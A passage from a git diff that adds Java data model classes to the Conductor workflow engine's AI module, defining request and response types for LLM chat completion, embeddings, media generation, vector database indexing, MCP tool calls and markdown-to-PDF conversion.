+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +@EqualsAndHashCode(callSuper = true) +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class AudioGenRequest extends LLMWorkerInput { + private String text; + private String voice; + @Builder.Default private double speed = 1.0; + @Builder.Default private String responseFormat = "mp3"; + @Builder.Default private int n = 1; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/ChatCompletion.java b/ai/src/main/java/org/conductoross/conductor/ai/model/ChatCompletion.java new file mode 100644 index 0000000..76ee2be --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/ChatCompletion.java @@ -0,0 +1,122 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.common.Documented; + +import com.netflix.conductor.common.metadata.SchemaDef; + +import lombok.Data; +import lombok.EqualsAndHashCode; + +@Data +@EqualsAndHashCode(callSuper = true) +public class ChatCompletion extends LLMWorkerInput { + + public static final String NAME = "LLM_CHAT_COMPLETE"; + + private String instructions; + + @Documented(usage = "History of messages") + private List messages = new ArrayList<>(); + + @Documented( + usage = + "Produces JSON as output if set to true. Depending on the model you MUST including JSON word as part of the prompt") + private boolean jsonOutput; + + @Documented(usage = "Enable Google Search Retrieval for Gemini models") + private boolean googleSearchRetrieval; + + @Documented( + usage = + "Optional schema for the prompt inputs. If supplied, the inputs MUST conform to the schema") + private SchemaDef inputSchema; + + @Documented( + usage = + """ + Output schema for the response generated by LLM. Useful when using #jsonOutput. If specified, the LLM output is validated against the schema. + If the validation fails, the request is retried N number of times. Default value for N is 3 and depends on the retryCount defined in the taskDefinition. + When retrying, no waits or backoff are applied. + """) + private SchemaDef outputSchema; + + private String userInput; + + @Documented( + usage = + """ + Tools to be used. Tools MUST be registered conductor workers or supported integrations + """) + private List tools = new ArrayList<>(); + + @Documented(usage = "Integrations for the mcp tools") + private Map participants = Map.of(); + + // refers to HTTP content type + private String outputMimeType; + + // Used for thinking models + @Documented( + usage = + "Token budget for extended thinking/reasoning before the model generates its final response. Supported by Anthropic and Google Gemini.") + private int thinkingTokenLimit; + + @Documented(usage = "Reasoning effort level: low, medium, or high. Supported by OpenAI models.") + private String reasoningEffort; + + @Documented( + usage = + """ + Reasoning summary mode. When set, the provider returns chain-of-thought reasoning text on the response, available via the 'reasoning' field on the task output (and the reasoning_tokens count via 'reasoningTokens' where supported). + - OpenAI / Azure OpenAI (Responses API, gpt-5.x and o-series): values 'auto', 'concise', 'detailed' — passed through as 'reasoning.summary'. + - Anthropic (Claude with extended thinking): any non-blank value opts in to surfacing the thinking blocks. The actual thinking budget is configured via 'thinkingTokenLimit'. + - Google Gemini (2.5+): any non-blank value enables 'includeThoughts' on the request so the model returns thought summaries. The thinking budget is configured via 'thinkingTokenLimit'. + """) + private String reasoningSummary; + + @Documented(usage = "Location where the results should be stored. Useful for media generation") + private String outputLocation; + + @Documented( + usage = + "ID of a previous response to chain multi-turn conversations without resending full message history. Supported by OpenAI and Azure OpenAI (Responses API).") + private String previousResponseId; + + @Documented( + usage = + "Enable built-in web search. The LLM can search the web for real-time information. Supported by OpenAI, Anthropic, and Google Gemini.") + private boolean webSearch; + + @Documented( + usage = + "Enable built-in code execution. The LLM can write and run code in a sandboxed environment. Supported by OpenAI (code_interpreter), Anthropic (code_execution), and Google Gemini (codeExecution).") + private boolean codeInterpreter; + + @Documented( + usage = + "Vector store IDs for file search. The LLM can search through uploaded files. Supported by OpenAI only.") + private List fileSearchVectorStoreIds; + + // Audio output + private String voice; + + public String getPrompt() { + return instructions; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/ChatMessage.java b/ai/src/main/java/org/conductoross/conductor/ai/model/ChatMessage.java new file mode 100644 index 0000000..de846b1 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/ChatMessage.java @@ -0,0 +1,53 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.ArrayList; +import java.util.List; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +public class ChatMessage { + + public enum Role { + user, + assistant, + system, + // When chat completes requests execution of tools + tool_call, + + // Actual tool execution and its output + tool + } + + private Role role; + private String message; + private List media = new ArrayList<>(); + private String mimeType; + private List toolCalls; + + public ChatMessage(Role role, String message) { + this.role = role; + this.message = message; + } + + public ChatMessage(Role role, ToolCall toolCall) { + this.role = role; + this.toolCalls = List.of(toolCall); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/EmbeddingGenRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/EmbeddingGenRequest.java new file mode 100644 index 0000000..c6b732b --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/EmbeddingGenRequest.java @@ -0,0 +1,30 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +@EqualsAndHashCode(callSuper = true) +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class EmbeddingGenRequest extends LLMWorkerInput { + private String text; + private Integer dimensions; + private String model; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/GetConversationHistoryRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/GetConversationHistoryRequest.java new file mode 100644 index 0000000..e7adf38 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/GetConversationHistoryRequest.java @@ -0,0 +1,54 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import org.conductoross.conductor.common.Documented; + +import lombok.Data; +import lombok.EqualsAndHashCode; + +@Data +@EqualsAndHashCode(callSuper = true) +public class GetConversationHistoryRequest extends LLMWorkerInput { + + @Documented(usage = "Optional query by which to search past conversations") + private String searchQuery; + + @Documented(usage = "Name of the agentic workflow", required = true) + private String agent; + + @Documented( + usage = + "Task inside the agentic workflow which contains conversation. If not specified, the first chat complete task is used") + private String agenticTask; + + @Documented( + usage = + "Name of the user for which to fetch messages. When not given, defaults to the current user") + private String user; + + @Documented(usage = "Number of past conversations to fetch") + private int fetchCount = 128; + + @Documented(usage = "How many conversations to keep as is without summarizing") + private int keepLastN = 32; + + @Documented(usage = "How many days in the past to look into for history") + private int daysUpTo = 31; + + @Documented(usage = "If set, summarizes the conversations beyond the keepLastN value") + private boolean summarize; + + @Documented(usage = "Prompt used to summarize the messages") + private String summaryPrompt; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/ImageGenRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/ImageGenRequest.java new file mode 100644 index 0000000..b33075c --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/ImageGenRequest.java @@ -0,0 +1,40 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +@EqualsAndHashCode(callSuper = true) +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class ImageGenRequest extends LLMWorkerInput { + public enum OutputFormat { + jpg, + png, + webp + } + + private float weight; + @Builder.Default private int n = 1; + private int width = 1024; + private int height = 1024; + private String size; + private String style; + @Builder.Default private OutputFormat outputFormat = OutputFormat.png; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/IndexDocInput.java b/ai/src/main/java/org/conductoross/conductor/ai/model/IndexDocInput.java new file mode 100644 index 0000000..197a1cc --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/IndexDocInput.java @@ -0,0 +1,57 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.Map; + +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +@Data +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode(callSuper = false) +public class IndexDocInput extends LLMWorkerInput { + + private String embeddingModelProvider; + private String embeddingModel; + private String vectorDB; + private String text; + private String docId; + private String url; + private String mediaType; + private String namespace; + private String index; + private int chunkSize; + private int chunkOverlap; + private Map metadata; + private Integer dimensions; + private String integrationName; + + public String getNamespace() { + if (namespace == null) { + return docId; + } + return namespace; + } + + public int getChunkSize() { + return chunkSize > 0 ? chunkSize : 12000; + } + + public int getChunkOverlap() { + return chunkOverlap > 0 ? chunkOverlap : 400; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/IndexedDoc.java b/ai/src/main/java/org/conductoross/conductor/ai/model/IndexedDoc.java new file mode 100644 index 0000000..bf4f29b --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/IndexedDoc.java @@ -0,0 +1,36 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.HashMap; +import java.util.Map; + +import lombok.Data; + +@Data +public class IndexedDoc { + private String docId; + private String parentDocId; + private String text; + private double score; + private Map metadata = new HashMap<>(); + + public IndexedDoc(String docId, String parentDocId, String text, double score) { + this.docId = docId; + this.parentDocId = parentDocId; + this.text = text; + this.score = score; + } + + public IndexedDoc() {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/LLMResponse.java b/ai/src/main/java/org/conductoross/conductor/ai/model/LLMResponse.java new file mode 100644 index 0000000..b1f3285 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/LLMResponse.java @@ -0,0 +1,45 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.List; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class LLMResponse { + private Object result; + private List media; + private String finishReason; + private int tokenUsed; + private int promptTokens; + private int completionTokens; + private List toolCalls; + private WorkflowDef workflow; + private String jobId; + private String responseId; + private String reasoning; + private Integer reasoningTokens; + + public boolean hasToolCalls() { + return toolCalls != null && !toolCalls.isEmpty(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/LLMWorkerInput.java b/ai/src/main/java/org/conductoross/conductor/ai/model/LLMWorkerInput.java new file mode 100644 index 0000000..49913fd --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/LLMWorkerInput.java @@ -0,0 +1,49 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import lombok.Data; + +@Data +public class LLMWorkerInput { + + private Map integrationNames = new HashMap<>(); + private String llmProvider; + private String integrationName; + private String model; + + private String prompt; + private Integer promptVersion; + private Map promptVariables; + + private Double temperature; + private Double frequencyPenalty; + private Double topP; + private Integer topK; + private Double presencePenalty; + private List stopWords; + private Integer maxTokens = 8192; + private int maxResults = 1; + private boolean allowRawPrompts; + + public Map getIntegrationNames() { + if (llmProvider != null && !integrationNames.containsKey("AI_MODEL")) { + integrationNames.put("AI_MODEL", llmProvider); + } + return integrationNames; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/MCPListToolsRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/MCPListToolsRequest.java new file mode 100644 index 0000000..8d1e882 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/MCPListToolsRequest.java @@ -0,0 +1,40 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.Map; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +/** Request model for listing tools from an MCP server. */ +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode(callSuper = false) +public class MCPListToolsRequest extends LLMWorkerInput { + + /** + * MCP server URL. + * + *

Examples: - HTTP/SSE: "http://localhost:3000/sse" - HTTPS: "https://api.example.com/mcp" + */ + private String mcpServer; + + /** HTTP headers for remote MCP servers (optional). Only applicable for HTTP/HTTPS transport. */ + private Map headers; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/MCPToolCallRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/MCPToolCallRequest.java new file mode 100644 index 0000000..a74d710 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/MCPToolCallRequest.java @@ -0,0 +1,51 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.HashMap; +import java.util.Map; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +/** + * Request model for calling a tool on an MCP server. + * + *

All fields except mcpServer, toolName, and headers are treated as tool arguments and passed to + * the MCP tool. + */ +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode(callSuper = false) +public class MCPToolCallRequest extends LLMWorkerInput { + + /** + * MCP server URL. + * + *

Examples: - HTTP/SSE: "http://localhost:3000/sse" - HTTPS: "https://api.example.com/mcp" + */ + private String mcpServer; + + /** Name of the tool to call on the MCP server. */ + private String method; + + /** HTTP headers for remote MCP servers (optional). Only applicable for HTTP/HTTPS transport. */ + private Map headers; + + private Map arguments = new HashMap<>(); +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/MarkdownToPdfRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/MarkdownToPdfRequest.java new file mode 100644 index 0000000..6b81f23 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/MarkdownToPdfRequest.java @@ -0,0 +1,66 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.Map; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +/** Request model for the GENERATE_PDF system task that converts markdown text to PDF. */ +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +@EqualsAndHashCode(callSuper = false) +public class MarkdownToPdfRequest extends LLMWorkerInput { + + /** The markdown text to convert to PDF. Required. */ + private String markdown; + + /** Page size: A4, LETTER, LEGAL. Default: A4. */ + @Builder.Default private String pageSize = "A4"; + + /** Top margin in points (72pt = 1 inch). Default: 72. */ + @Builder.Default private float marginTop = 72f; + + /** Right margin in points. Default: 72. */ + @Builder.Default private float marginRight = 72f; + + /** Bottom margin in points. Default: 72. */ + @Builder.Default private float marginBottom = 72f; + + /** Left margin in points. Default: 72. */ + @Builder.Default private float marginLeft = 72f; + + /** Built-in style preset: "default", "compact". Default: "default". */ + @Builder.Default private String theme = "default"; + + /** Base font size in points. Default: 11. */ + @Builder.Default private float baseFontSize = 11f; + + /** + * Output location URI for the generated PDF. e.g., "file:///tmp/output.pdf". If null, uses the + * default payload store location. + */ + private String outputLocation; + + /** Optional metadata to embed in the PDF (title, author, subject, keywords). */ + private Map pdfMetadata; + + /** Base URL for resolving relative image paths in the markdown. */ + private String imageBaseUrl; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/Media.java b/ai/src/main/java/org/conductoross/conductor/ai/model/Media.java new file mode 100644 index 0000000..a941a59 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/Media.java @@ -0,0 +1,28 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +@Builder +public class Media { + private String location; + private byte[] data; + private String mimeType; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/StoreEmbeddingsInput.java b/ai/src/main/java/org/conductoross/conductor/ai/model/StoreEmbeddingsInput.java new file mode 100644 index 0000000..19cbdb9 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/StoreEmbeddingsInput.java @@ -0,0 +1,33 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.List; +import java.util.Map; + +import lombok.Data; +import lombok.EqualsAndHashCode; + +@Data +@EqualsAndHashCode(callSuper = true) +public class StoreEmbeddingsInput extends LLMWorkerInput { + + private String vectorDB; + private String index; + private String namespace; + private List embeddings; + private String id; + private Map metadata; + private String embeddingModel; + private String embeddingModelProvider; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/TextCompletion.java b/ai/src/main/java/org/conductoross/conductor/ai/model/TextCompletion.java new file mode 100644 index 0000000..9c69393 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/TextCompletion.java @@ -0,0 +1,25 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.ToString; + +@Data +@ToString +@EqualsAndHashCode(callSuper = true) +public class TextCompletion extends LLMWorkerInput { + private boolean jsonOutput; + private String promptName; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/ToolCall.java b/ai/src/main/java/org/conductoross/conductor/ai/model/ToolCall.java new file mode 100644 index 0000000..a791385 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/ToolCall.java @@ -0,0 +1,35 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.Map; + +import com.netflix.conductor.common.metadata.tasks.TaskType; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@AllArgsConstructor +@NoArgsConstructor +@Builder +public class ToolCall { + private String taskReferenceName; + private String name; + private Map integrationNames; + private String type = TaskType.TASK_TYPE_SIMPLE; + private Map inputParameters; + private Map output; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/ToolSpec.java b/ai/src/main/java/org/conductoross/conductor/ai/model/ToolSpec.java new file mode 100644 index 0000000..a96fe02 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/ToolSpec.java @@ -0,0 +1,35 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.Map; + +import lombok.Data; + +@Data +public class ToolSpec { + private String name; + private String type; + private Map configParams; + private Map integrationNames; + private String description; + private Map inputSchema; + private Map outputSchema; + + /** + * When true, this spec is complete as delivered: pass it to the LLM as-is. Consumers must not + * resolve, enrich, or replace it by name against integrations, services, or task definitions. + * Set by producers that compile full inline tool specs (e.g. AgentSpan). + */ + private boolean selfDescribing; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/VectorDBInput.java b/ai/src/main/java/org/conductoross/conductor/ai/model/VectorDBInput.java new file mode 100644 index 0000000..633c129 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/VectorDBInput.java @@ -0,0 +1,39 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import java.util.List; +import java.util.Map; + +import lombok.Data; +import lombok.EqualsAndHashCode; + +@Data +@EqualsAndHashCode(callSuper = true) +public class VectorDBInput extends LLMWorkerInput { + + // Location where to index/query the data to/from + private String vectorDB; + private String index; + private String namespace; + + private List embeddings; + private String query; + + private Map metadata; + private Integer dimensions; + + // Name of the embedding model and its provider integration + private String embeddingModel; + private String embeddingModelProvider; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/model/VideoGenRequest.java b/ai/src/main/java/org/conductoross/conductor/ai/model/VideoGenRequest.java new file mode 100644 index 0000000..8ed693a --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/model/VideoGenRequest.java @@ -0,0 +1,73 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.model; + +import lombok.AllArgsConstructor; +import lombok.Builder; +import lombok.Data; +import lombok.EqualsAndHashCode; +import lombok.NoArgsConstructor; + +/** + * Request model for video generation tasks. + * + *

Contains all parameters needed for generating videos using AI providers like OpenAI Sora, + * Google Gemini Veo, etc. + */ +@EqualsAndHashCode(callSuper = true) +@Data +@Builder +@NoArgsConstructor +@AllArgsConstructor +public class VideoGenRequest extends LLMWorkerInput { + + // Basic parameters + private String prompt; + private String inputImage; // Base64-encoded or URL of the input image (required for providers + // like Stability AI that use image-to-video) + @Builder.Default private Integer duration = 5; // seconds + @Builder.Default private Integer width = 1280; + @Builder.Default private Integer height = 720; + @Builder.Default private Integer fps = 24; + @Builder.Default private String outputFormat = "mp4"; + + // Advanced parameters + private String style; // cinematic, animated, realistic, etc. + private String motion; // slow, medium, fast, extreme + private Integer seed; // for reproducibility + private Float guidanceScale; // 1.0-20.0, controls prompt adherence + private String aspectRatio; // 16:9, 9:16, 1:1, 4:3 + + // Provider-specific advanced parameters + private String negativePrompt; // Gemini Veo: text describing what to exclude + private String personGeneration; // Gemini: "dont_allow" / "allow_adult" + private String resolution; // Gemini: "720p" / "1080p" + private Boolean generateAudio; // Gemini Veo 3+: generate audio with video + private String size; // OpenAI Sora: "1280x720" format string + + // Preview/thumbnail generation + @Builder.Default private Boolean generateThumbnail = true; + private Integer thumbnailTimestamp; // which second to extract thumbnail + + // Cost control + private Integer maxDurationSeconds; // hard limit on duration + private Float maxCostDollars; // estimated cost limit + + // Polling state (stored in task.outputData for stateful polling) + // These fields are populated during async processing + private String jobId; // provider's async job ID + private String status; // SUBMITTED, PROCESSING, COMPLETED, FAILED + private Integer pollCount; // number of times we've polled + + @Builder.Default private int n = 1; +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/pdf/MarkdownToPdfConverter.java 